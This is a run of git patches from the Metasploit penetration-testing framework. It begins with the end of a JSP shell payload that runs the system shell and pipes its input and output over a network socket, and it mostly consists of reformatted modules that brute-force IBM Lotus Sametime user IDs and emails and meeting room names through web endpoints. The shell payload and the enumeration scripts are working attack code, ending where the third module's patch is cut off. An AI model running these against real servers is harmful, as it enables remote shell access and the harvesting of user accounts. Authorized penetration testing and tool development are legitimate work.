Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); + ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} +%> EOS - return jsp.gsub(/^\s{6}/, '') + return jsp end # Wraps the jsp payload into a war From 764d0822f6bd43fee0ef0fd9246255cc04360fb3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 2 Jan 2014 15:57:09 -0600 Subject: [PATCH 013/246] Use the current msf's naming convention --- lib/msf/core/payload.rb | 2 +- lib/msf/{ => core}/payload/jsp.rb | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/msf/{ => core}/payload/jsp.rb (100%) diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 17dd28c5dc..117bea469f 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -29,7 +29,7 @@ class Payload < Msf::Module require 'msf/core/payload/netware' require 'msf/core/payload/java' require 'msf/core/payload/dalvik' - require 'msf/payload/jsp' + require 'msf/core/payload/jsp' ## # diff --git a/lib/msf/payload/jsp.rb b/lib/msf/core/payload/jsp.rb similarity index 100% rename from lib/msf/payload/jsp.rb rename to lib/msf/core/payload/jsp.rb From f5f18965b915802d6c5b66eb33bd11adfb980c97 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 2 Jan 2014 16:05:03 -0600 Subject: [PATCH 014/246] Move the require to the payloads as ruby and nodejs payloads do --- lib/msf/core/payload.rb | 1 - modules/payloads/singles/java/jsp_shell_bind_tcp.rb | 2 +- modules/payloads/singles/java/jsp_shell_reverse_tcp.rb | 1 + 3 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 117bea469f..f3e981db47 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -29,7 +29,6 @@ class Payload < Msf::Module require 'msf/core/payload/netware' require 'msf/core/payload/java' require 'msf/core/payload/dalvik' - require 'msf/core/payload/jsp' ## # diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index a82e42814a..087958f27d 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -4,10 +4,10 @@ ## require 'msf/core' +require 'msf/core/payload/jsp' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -require 'rex' module Metasploit3 diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index aa7bce4b28..dc3ecfb3d9 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'msf/core/payload/jsp' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' From 55d4ad1b6aaecca8e8c15d0e51e9b56b8a1f9358 Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Wed, 15 Jan 2014 13:51:19 +0100 Subject: [PATCH 015/246] Fixed code issues as requested in PR2801 Mostly coding style issues Re-tested in testbed - output as expected --- .../gather/ibm_sametime_enumerate_users.rb | 581 +++++++++--------- 1 file changed, 289 insertions(+), 292 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index 7df51eadf8..2f3a639404 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -9,337 +9,334 @@ require 'enumerable' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report - def initialize(info = {}) - super(update_info(info, - 'Name' => 'IBM Lotus Notes Sametime User Enumeration', - 'Description' => %q{ - This module extracts users using the IBM Lotus Notes Sametime web - interface using either brute-force or dictionary based attack. - }, - 'Author' => - [ - 'kicks4kittens' # Metasploit module - ], - 'License' => BSD_LICENSE)) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Notes Sametime User Enumeration', + 'Description' => %q{ + This module extracts users using the IBM Lotus Notes Sametime web + interface using either brute-force or dictionary based attack. + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => BSD_LICENSE)) - register_options( - [ - Opt::RPORT(443), - OptString.new('TARGETURI', [ true, 'The path to the userinfo script', \ - '/userinfo/search']), - OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', \ - ['alpha', 'alphanum', 'num'] ]), - OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]), - OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']), - OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]), - OptBool.new('STREAMFINDINGS', [true, 'Stream new users as discovered', true]) - ], self.class) + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [ true, 'The path to the userinfo script', + '/userinfo/search']), + OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', + ['alpha', 'alphanum', 'num'] ]), + OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]), + OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']), + OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]), + OptBool.new('STREAMFINDINGS', [true, 'Stream new users as discovered', true]) + ], self.class) - register_advanced_options( - [ - OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), - OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]), - OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']), - OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']), - OptInt.new('Threads', [ true, 'Number of test threads', 10]) - ], self.class) + register_advanced_options( + [ + OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), + OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]), + OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']), + OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']), + OptInt.new('Threads', [ true, 'Number of test threads', 10]) + ], self.class) + end + + def setup + + # setup the desired charset + @charset = [] + # setup array to hold user data + @user_data = [] + + if datastore['DICT'].nil? or datastore['DICT'].empty? + # populate charset - lowercase only as search is case insensitive + case datastore['CHARSET'] + when "alpha" + ("a".."z").each do | alpha | @charset.push(alpha) end + when "num" + ("0".."9").each do | num | @charset.push(num) end + when "alphanum" + ("a".."z").each do | alpha | @charset.push(alpha) end + ("0".."9").each do | num | @charset.push(num) end + end + if datastore['SpecialChars'] + datastore['SpecialChars'].chars do | spec | + @charset.push(Rex::Text.uri_encode(spec)) + end + end + print_status("Performing Brute-Force based attack on #{peer}") + print_status("CHARSET: [#{@charset.join(",")}]") + else + print_status("Performing dictionary based attack (#{datastore['DICT']}) on #{peer}") end - def peer - return "#{rhost}:#{rport}" + # setup path + type = datastore['TYPE'].downcase + uri = target_uri.path + @reqpath = normalize_uri(uri + '?mode=' + type + '&searchText=') + + if (datastore['DICT'].nil? or datastore['DICT'].empty?) and datastore['MAXDEPTH'] > 2 + # warn user on long runs + print_status("Depth level #{datastore['MAXDEPTH']} selected... this may take some time!") + end + @depth_warning = true + @tested = [] + @retries = [] + + end + + def run + + print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw") + + # test for expected response code on non-existant uid/email + if datastore['TYPE'] == "UID" + rval = Rex::Text.rand_text_alpha(32) + else + rval = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com" + end + res = send_request_cgi({ + 'uri' => normalize_uri(@reqpath + rval), + 'method' => 'GET', + 'ctype' => 'text/html' + }) + + begin + if not res + print_error("No response from server #{peer}") + return + elsif not res.code == 200 + print_error("Unexpected response from server (Response code: #{res.code})") + return + elsif not JSON.parse(res.body).blank? + # empty JSON element + print_error("Received invalid response from server #{peer}") + return + else + print_good("Response received, continuing to enumeration phase") + end + rescue JSON::ParserError, + print_error("Error parsing JSON: Invalid response from server #{peer}") + return end - def setup + # start test handler + test_handler - # setup the desired charset - @charset = [] - # setup array to hold user data - @userdata = [] + # ouput results + output_results - if datastore['DICT'].nil? or datastore['DICT'].empty? - # populate charset - lowercase only as search is case insensitive - case datastore['CHARSET'] - when "alpha" - ("a".."z").each do | alpha | @charset.push(alpha) end - when "num" - ("0".."9").each do | num | @charset.push(num) end - when "alphanum" - ("a".."z").each do | alpha | @charset.push(alpha) end - ("0".."9").each do | num | @charset.push(num) end - end - if datastore['SpecialChars'] - datastore['SpecialChars'].chars do | spec | - @charset.push(Rex::Text.uri_encode(spec)) - end - end - print_status("Performing Brute-Force based attack on #{peer}") - print_status("CHARSET: [#{@charset.join(",")}]") - else - print_status("Performing dictionary based attack (#{datastore['DICT']}) on #{peer}") - end + end - # setup path - type = datastore['TYPE'].downcase - uri = target_uri.path - @reqpath = normalize_uri(uri + '?mode=' + type + '&searchText=') - - if (datastore['DICT'].nil? or datastore['DICT'].empty?) and datastore['MAXDEPTH'] > 2 - # warn user on long runs - print_status("Depth level #{datastore['MAXDEPTH']} selected... this may take some time!") - end - @depth_warning = true - @tested = [] - @retries = [] + def test_handler + # create initial test queue and populate + @test_queue = Queue.new + if (datastore['DICT'].nil? or datastore['DICT'].empty?) + @charset.each { |char| @test_queue.push(char) } + else + File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) } + print_status("Loaded #{@test_queue.length} values from dictionary") end - def run + print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)") + test_length = 1 # initial test length set - print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw") + while(not @test_queue.empty?) + t = [] + nt = datastore['Threads'].to_i + nt = 1 if nt == 0 - begin - # test for expected response code on non-existant uid/email - if datastore['TYPE'] == "UID" - rval = Rex::Text.rand_text_alpha(32) - else - rval = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com" - end - res = send_request_cgi({ - 'uri' => normalize_uri(@reqpath + rval), - 'method' => 'GET', - 'ctype' => 'text/html' - }) - end + if @test_queue.length < nt + # work around issue where threads not created as the queue isn't large enough + nt = @test_queue.length + end - begin - if not res - print_error("No response from server #{peer}") - return - elsif not res.code == 200 - print_error("Unexpected response from server (Response code: #{res.code})") - return - elsif not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty? - # empty JSON element - print_error("Received invalid response from server #{peer}") - return - else - print_good("Response received, continuing to enumeration phase") - end - rescue JSON::ParserError, - print_error("Error parsing JSON: Invalid response from server #{peer}") - return - end + begin + 1.upto(nt) do + t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current| + Thread.current.kill if not test_current - # start test handler - test_handler - - # ouput results - output_results - - end - - def test_handler - - # create initial test queue and populate - @test_queue = Queue.new - if (datastore['DICT'].nil? or datastore['DICT'].empty?) - @charset.each do | char | @test_queue.push(char) end - else - File.open(datastore['DICT']).each do | line | @test_queue.push(line.chomp) end - print_status("Loaded #{@test_queue.length} values from dictionary") - end - - print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)") - test_length = 1 # initial test length set - - while(not @test_queue.empty?) - t = [] - nt = datastore['Threads'].to_i - nt = 1 if nt == 0 - - if @test_queue.length < nt - # work around issue where threads not created as the queue isn't large enough - nt = @test_queue.length + # provide feedback to user on current test length + if (datastore['DICT'].nil? or datastore['DICT'].empty?) and test_current.length > test_length + test_length = test_current.length + print_status("Beginning brute_force test for #{test_length} character strings") end - 1.upto(nt) do - t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current| - Thread.current.kill if not test_current + res = make_request(test_current) - # provide feedback to user on current test length - if (datastore['DICT'].nil? or datastore['DICT'].empty?) and test_current.length > test_length - test_length = test_current.length - print_status("Beginning brute_force test for #{test_length} character strings") - end - - res = make_request(test_current) - - # check response to see if an error was returned, if so wait 1 second and retry - if res and res == error and not @retries.include?(test_current) - # attempt test again as the server was too busy to respond - # correctly - error returned - print_error("Error reading JSON resonse, attempting to redo check for \"#{test_current}\"") - Rex::sleep(1) # sleep 1 second and retry - @retries << test_current - res = make_request(test_current) - end - - if res and not res == error - # check response for user data - check_response(res, test_current) - elsif not @retries.include?(test_current) - vprint_error("No response received from server when testing string \"#{test_current}*\" (Retrying)") - @retries << test_current - Rex::sleep(1) # sleep 1 second and retry - res = make_request(test_current) - end - - if @retries.length == 10 - print_error("Excessive number of retries detected (#{@retries.length} check TIMING)") - @retries << "warning sent to user" # increase length to avoid multiple warnings - end - end + # check response to see if an error was returned, if so wait 1 second and retry + if not res and not @retries.include?(test_current) + # attempt test again as the server was too busy to respond + # correctly - error returned + print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"") + Rex::sleep(1) # sleep 1 second and retry request + @retries << test_current + res = make_request(test_current) end - t.map do | x | x.join end - end - end - def make_request(test_current) - - # make request and return response - - # combine test string with PRE and POST variables - tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*" - # Apply timing information - if datastore['TIMING'] > 0 - Rex::sleep(datastore['TIMING']) - end - - begin - res = send_request_cgi({ - 'uri' => normalize_uri(@reqpath + tstring), - 'method' => 'GET', - 'ctype' => 'text/html' - }) - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end - - end - - def check_response(res, test_current) - - # check the response for valid user information - - begin - if res.code.to_i == 200 and not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty? - # successful response - extract user data - extract_user(res, test_current) - # extend test_queue to search for further data (not if dictionary in use) - extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?) - return true - elsif JSON.parse(res.body).nil? or JSON.parse(res.body).empty? # empty JSON element - # expected failure for non-existant user - return false - else - print_error("Unexpected response received from server #{peer}") + if res + # check response for user data + check_response(res, test_current) + elsif not @retries.include?(test_current) + vprint_error("No response received from server when testing string \"#{test_current}*\" (Retrying)") + @retries << test_current + Rex::sleep(1) # sleep 1 second and retry + res = make_request(test_current) end - rescue JSON::ParserError - # non-JSON response - server may be overloaded - return error - end - end - def extract_user(res, test_current) - - # extract user data if not already present - begin - userinfo = JSON.parse(res.body) - if not @userdata.flatten.include?(userinfo['uid']) - @userdata << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ] - if datastore['STREAMFINDINGS'] - # print newly discovered users straight to the screen - print_good("New user found: #{userinfo['uid']}") - end - report_user(userinfo['uid']) + if @retries.length == 10 + print_error("Excessive number of retries detected (#{@retries.length} check TIMING)") + @retries << "warning sent to user" # increase length to avoid multiple warnings end - rescue JSON::ParserError - print_error("Error reading JSON string, continuing") + end end + t.each {|x| x.join } + rescue ::Timeout::Error + ensure + t.each {|x| x.kill rescue nil } + end + end + end + + def make_request(test_current) + + # make request and return response + + # combine test string with PRE and POST variables + tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*" + # Apply timing information to pause between making requests - not a timeout + if datastore['TIMING'] > 0 + Rex::sleep(datastore['TIMING']) end - def extend_queue(test_current) + res = send_request_cgi({ + 'uri' => normalize_uri(@reqpath + tstring), + 'method' => 'GET', + 'ctype' => 'text/html' + }) - # extend the test queue if MAXDEPTH value not exceeded - # checks made to ensure duplicates are not created when extending + end - # process: - # - # when a user is found searching for 'a' the queue for 'a' is extended as - # only the first user starting with 'a' will be returned (e.g. 'aanderson') - # To find all users the queue must be extended by adding 'aa' through to 'az' - # Due to the threaded nature of this module, checks need to be in place to ensure - # duplicate entries are not added to the queue by competing threads. + def check_response(res, test_current) - if test_current.length < datastore['MAXDEPTH'] - @charset.each do | char | - if not @tested.include?(test_current + char) - # only add if not alread in queue - avoid duplicates appearing - @test_queue.push(test_current + char) - # keep track of whats already been queued and checked - @tested.push(test_current + char) - end - end - elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and not datastore['MAXDEPTH'] == 1 - vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests") - @depth_warning = false - return + # check the response for valid user information + + begin + # check response exists AND that it validates as JSON before proceeding + if res.code.to_i == 200 and not JSON.parse(res.body).blank? + # successful response - extract user data + extract_user(res) + # extend test_queue to search for further data (not if dictionary in use) + extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?) + return true + elsif JSON.parse(res.body).blank? # empty JSON element + # expected failure for non-existent user - must return false + return false + else + # unexpected failure + print_error("Unexpected response received from server #{peer}") + end + rescue JSON::ParserError + # non-JSON response - server may be overloaded + return error + end + end + + def extract_user(res) + + # extract user data if not already present + begin + userinfo = JSON.parse(res.body) + if not @user_data.flatten.include?(userinfo['uid']) + @user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ] + if datastore['STREAMFINDINGS'] + # print newly discovered users straight to the screen + print_good("New user found: #{userinfo['uid']}") end - + report_user(userinfo['uid']) + end + rescue JSON::ParserError + print_error("Error reading JSON string, continuing") end - def report_user(username) - report_note( - :host => rhost, - :proto => 'tcp', - :sname => 'sametime', - :port => rport, - :type => 'ibm_lotus_sametime_user', - :data => "#{username}", - :update => :unique_data - ) + end + + def extend_queue(test_current) + + # extend the test queue if MAXDEPTH value not exceeded + # checks made to ensure duplicates are not created when extending + + # process: + # + # when a user is found searching for 'a' the queue for 'a' is extended as + # only the first user starting with 'a' will be returned (e.g. 'aanderson') + # To find all users the queue must be extended by adding 'aa' through to 'az' + # Due to the threaded nature of this module, checks need to be in place to ensure + # duplicate entries are not added to the queue by competing threads. + + if test_current.length < datastore['MAXDEPTH'] + @charset.each do | char | + if not @tested.include?(test_current + char) + # only add if not alread in queue - avoid duplicates appearing + @test_queue.push(test_current + char) + # keep track of whats already been queued and checked + @tested.push(test_current + char) + end + end + elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and not datastore['MAXDEPTH'] == 1 + vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests") + @depth_warning = false + return end - def output_results - # print output table + end - user_tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "IBM Lotus Sametime Users", - 'Prefix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "UID", - "Email", - "CommonName" - ]) + def report_user(username) + report_note( + :host => rhost, + :proto => 'tcp', + :sname => 'sametime', + :port => rport, + :type => 'ibm_lotus_sametime_user', + :data => "#{username}", + :update => :unique_data + ) + end - # populate tables - @userdata.each do | line | - user_tbl << [ line[0], line[1], line[2] ] - end + def output_results + # print output table - if not user_tbl.to_s.empty? - print_good("#{@userdata.length} users extracted from #{peer}") - print_line(user_tbl.to_s) - else - print_error("No users discovered") - end + user_tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "IBM Lotus Sametime Users", + 'Prefix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "UID", + "Email", + "CommonName" + ]) + + # populate tables + @user_data.each do | line | + user_tbl << [ line[0], line[1], line[2] ] end + + if not user_tbl.to_s.empty? + print_good("#{@user_data.length} users extracted from #{peer}") + print_line(user_tbl.to_s) + else + print_error("No users discovered") + end + end end From 87648476e1ee87acea38bd2cca076522e1b84efc Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Wed, 15 Jan 2014 13:52:45 +0100 Subject: [PATCH 016/246] Fixed code issues as requested in PR2801 Mostly coding style issues Re-tested in testbed - output as expected --- .../gather/ibm_sametime_room_brute.rb | 342 +++++++++--------- 1 file changed, 171 insertions(+), 171 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index c5630dc19e..ab6cd9dcd5 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -9,206 +9,206 @@ require 'enumerable' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report - def initialize(info = {}) - super(update_info(info, - 'Name' => 'IBM Lotus Notes Sametime Room Name Brute-Forcer', - 'Description' => %q{ - This module brute forces Sametime meeting room names via the IBM - Lotus Notes Sametime web interface - }, - 'Author' => - [ - 'kicks4kittens' # Metasploit module - ], - 'License' => BSD_LICENSE)) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Notes Sametime Room Name Brute-Forcer', + 'Description' => %q{ + This module brute forces Sametime meeting room names via the IBM + Lotus Notes Sametime web interface + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => BSD_LICENSE)) - register_options( - [ - Opt::RPORT(443), - OptString.new('OWNER', [ true, 'The owner to brute-force meeting room names for', '']), - OptPath.new('DICT', [ true, 'The path to the userinfo script', '']), - OptBool.new('FULLDATA', [ true, 'Output full meeting room data', true]), - OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/']) - ], self.class) + register_options( + [ + Opt::RPORT(443), + OptString.new('OWNER', [ true, 'The owner to brute-force meeting room names for', '']), + OptPath.new('DICT', [ true, 'The path to the userinfo script', '']), + OptBool.new('FULLDATA', [ true, 'Output full meeting room data', true]), + OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/']) + ], self.class) - register_advanced_options( - [ - OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), - OptInt.new('Threads', [ true, 'Number of test threads', 10]) - ], self.class) + register_advanced_options( + [ + OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), + OptInt.new('Threads', [ true, 'Number of test threads', 10]) + ], self.class) + end + + def run + + print_status("Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}") + print_status("Using owner: #{datastore['OWNER']}") + + # test for expected response code on non-existant meeting room name + rval = Rex::Text.rand_text_alpha(64) + uri = target_uri.path + @reqpath = normalize_uri(uri, '/restapi') + + res = send_request_cgi({ + 'uri' => @reqpath, + 'method' => 'GET', + 'ctype' => 'text/html', + 'vars_get' => { + 'owner' => datastore['OWNER'], + 'permaName' => rval + } + }) + + if not res + print_error("No response from server #{peer}") + return end - def peer - return "#{rhost}:#{rport}" + if res.code == 404 and res.body =~ /Room does not exist/i + vprint_status("Server responding to restapi requests as expected") + else + print_error("Unexpected response from server (#{res.code}). Quitting....") + return end - def run + # create initial test queue and populate + @test_queue = Queue.new + @output_lock = false - print_status("Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}") - print_status("Using owner: #{datastore['OWNER']}") + File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) } + print_status("Loaded #{@test_queue.length} values from dictionary") - begin - # test for expected response code on non-existant meeting room name - rval = Rex::Text.rand_text_alpha(64) - uri = target_uri.path - @reqpath = normalize_uri(uri, '/restapi?owner=' + datastore['OWNER'] + '&permaName=') + print_status("Beginning dictionary brute-force using (#{datastore['Threads']} Threads)") + test_length = 1 # initial test length set - res = send_request_cgi({ - 'uri' => @reqpath + rval, - 'method' => 'GET', - 'ctype' => 'text/html' - }) + while(not @test_queue.empty?) + t = [] + nt = datastore['Threads'].to_i + nt = 1 if nt == 0 - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end + if @test_queue.length < nt + # work around issue where threads not created as the queue isn't large enough + nt = @test_queue.length + end - if not res - print_error("No response from server #{peer}") - return - end + begin + 1.upto(nt) do + t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current| + Thread.current.kill if not test_current - if res.code == 404 and res.body =~ /Room does not exist/i - vprint_status("Server responding to restapi requests as expected") - else - print_error("Unexpected response from server (#{res.code}). Quitting....") - return - end + res = make_request(test_current) - # create initial test queue and populate - @test_queue = Queue.new - @output_lock = false - - File.open(datastore['DICT']).each do | line | @test_queue.push(line.chomp) end - print_status("Loaded #{@test_queue.length} values from dictionary") - - print_status("Beginning dictionary brute-force using (#{datastore['Threads']} Threads)") - test_length = 1 # initial test length set - - while(not @test_queue.empty?) - t = [] - nt = datastore['Threads'].to_i - nt = 1 if nt == 0 - - if @test_queue.length < nt - # work around issue where threads not created as the queue isn't large enough - nt = @test_queue.length - end - - 1.upto(nt) do - t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current| - Thread.current.kill if not test_current - - res = make_request(test_current) - - if res and not res.code == 404 - # check response for user data - check_response(res, test_current) - elsif res and res.code == 404 - vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}") - else - print_error("No response from server when testing (#{test_current})") - end - end - end - t.map do | x | x.join end - end - end - - def make_request(test_current) - - # make request and return response - - # Apply timing information - if datastore['TIMING'] > 0 - Rex::sleep(datastore['TIMING']) - end - - begin - - res = send_request_cgi({ - 'uri' => normalize_uri(@reqpath + test_current), - 'method' => 'GET', - 'ctype' => 'text/html' - }) - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end - - end - - def check_response(res, test_current) - - # check the response for valid room information - - begin - if res.code.to_i == 200 and not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty? - # successful response - extract room information - extract_room_data(res, test_current) - return true - elsif res.body =~ /Room does not exist/i - return false + if res and not res.code == 404 + # check response for user data + check_response(res, test_current) + elsif res and res.code == 404 + vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}") else - print_error("Unexpected response received from server #{peer}") + print_error("No response from server when testing (#{test_current})") end - rescue JSON::ParserError - # non-JSON response - server may be overloaded - return + end end + t.each {|x| x.join } + + rescue ::Timeout::Error + ensure + t.each {|x| x.kill rescue nil } + end + end + end + + def make_request(test_current) + + # make request and return response + + # Apply timing information + if datastore['TIMING'] > 0 + Rex::sleep(datastore['TIMING']) end - def extract_room_data(res, test_current) + res = send_request_cgi({ + 'uri' => @reqpath, + 'method' => 'GET', + 'ctype' => 'text/html', + 'vars_get' => { + 'owner' => datastore['OWNER'], + 'permaName' => test_current + } + }) - # extract room data if not already present - begin - roominfo = JSON.parse(res.body) - output_table(roominfo, test_current) - rescue JSON::ParserError - print_error("Error reading JSON string, continuing") - end + end + def check_response(res, test_current) + + # check the response for valid room information + + begin + # check response exists AND that it validates as JSON before proceeding + if res.code.to_i == 200 and not JSON.parse(res.body).blank? + # successful response - extract room information + extract_room_data(res, test_current) + return true + elsif res.body =~ /Room does not exist/i + return false + else + print_error("Unexpected response received from server #{peer}") + end + rescue JSON::ParserError + # non-JSON response - server may be overloaded + return + end + end + + def extract_room_data(res, test_current) + + # extract room data if not already present + begin + roominfo = JSON.parse(res.body) + output_table(roominfo, test_current) + rescue JSON::ParserError + print_error("Error reading JSON string, continuing") end - def output_table(roominfo, test_current) + end - if datastore['FULLDATA'] + def output_table(roominfo, test_current) - # print output table for discovered meeting rooms + if datastore['FULLDATA'] - roomtbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}", - 'Prefix' => "", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' =>[ - "Key", - "Value" - ]) + # print output table for discovered meeting rooms - roominfo['results'][0].each do | k,v | - if v.is_a?(Hash) - # breakdown Hash - roomtbl << [ k.to_s, '>>' ] # title line - v.each do | subk, subv | - roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty? - end - else - roomtbl << [ k.to_s, v.to_s || "-"] if not v.nil? - end + roomtbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}", + 'Prefix' => "", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' =>[ + "Key", + "Value" + ]) + + roominfo['results'][0].each do | k,v | + if v.is_a?(Hash) + # breakdown Hash + roomtbl << [ k.to_s, '>>' ] # title line + v.each do | subk, subv | + roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty? end - # output table - print_good(roomtbl.to_s) - - else - print_good("New meeting room found: #{test_current}") - end - + else + roomtbl << [ k.to_s, v.to_s || "-"] if not v.nil? + end + end + # output table + print_good(roomtbl.to_s) + else + print_good("New meeting room found: #{test_current}") end + + end + end From d0d82fe405463613cd83574c64f21227714390ad Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Wed, 15 Jan 2014 13:53:14 +0100 Subject: [PATCH 017/246] Fixed code issues as requested in PR2801 Mostly coding style issues Re-tested in testbed - output as expected --- .../auxiliary/gather/ibm_sametime_version.rb | 700 +++++++++--------- 1 file changed, 347 insertions(+), 353 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index 3a62f23579..564f9263c9 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -8,391 +8,385 @@ require 'uri' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include 